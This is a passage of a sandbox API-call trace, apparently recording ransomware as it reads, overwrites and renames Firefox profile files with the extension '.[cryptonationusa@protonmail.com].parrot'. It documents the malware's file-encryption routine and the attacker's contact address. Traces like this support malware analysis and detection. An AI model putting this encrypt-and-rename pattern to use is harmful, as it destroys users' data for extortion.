dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.807] ReadFile (in: hFile=0x268, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0090.808] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.809] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa0000, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xa0000, lpOverlapped=0x0) returned 1 [0090.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.887] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.887] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.887] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.915] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.922] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0090.923] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0090.924] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0090.924] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.924] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.927] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.927] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x4000, lpOverlapped=0x0) returned 1 [0090.928] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.929] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.930] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.934] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.934] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.935] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.935] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x501, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x501, lpOverlapped=0x0) returned 1 [0090.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.935] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.936] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\localstore.rdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\localstore.rdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\localstore.rdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\localstore.rdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.939] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.939] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.940] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.940] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x39, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x39, lpOverlapped=0x0) returned 1 [0090.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.940] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.940] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.944] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.944] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.945] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.945] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xef3, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xef3, lpOverlapped=0x0) returned 1 [0090.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.945] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.946] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\mimeTypes.rdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\mimetypes.rdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\mimeTypes.rdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\mimetypes.rdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.949] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0090.951] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.951] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0090.951] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.951] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.953] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.953] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x10000, lpOverlapped=0x0) returned 1 [0090.954] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.955] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.955] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.955] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.959] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.962] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.962] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.963] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.963] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0090.973] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.001] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.001] WriteFile (in: hFile=0x26c, lpBuffer=0x6a9260*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x6a9260*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0091.103] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.103] WriteFile (in: hFile=0x26c, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0091.109] UnlockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa00118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.109] CloseHandle (hObject=0x26c) returned 1 [0091.109] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x65dc68 [0091.109] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x655920 [0091.109] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\places.sqlite.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.117] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.117] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0091.121] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.122] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe14, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xe14, lpOverlapped=0x0) returned 1 [0091.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.122] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.123] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\pluginreg.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\pluginreg.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.127] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.127] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0091.128] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.128] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfde, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xfde, lpOverlapped=0x0) returned 1 [0091.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.128] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.129] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.133] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.133] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0091.134] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.134] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4183, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x4183, lpOverlapped=0x0) returned 1 [0091.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.136] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.136] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.136] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.136] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\search.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\search.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\search.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\search.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.140] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.140] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0091.141] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.141] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x4000, lpOverlapped=0x0) returned 1 [0091.142] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.142] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.142] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.142] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.143] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.146] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.146] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0091.147] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.147] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3d6, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x3d6, lpOverlapped=0x0) returned 1 [0091.147] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.148] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.148] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.148] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.148] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 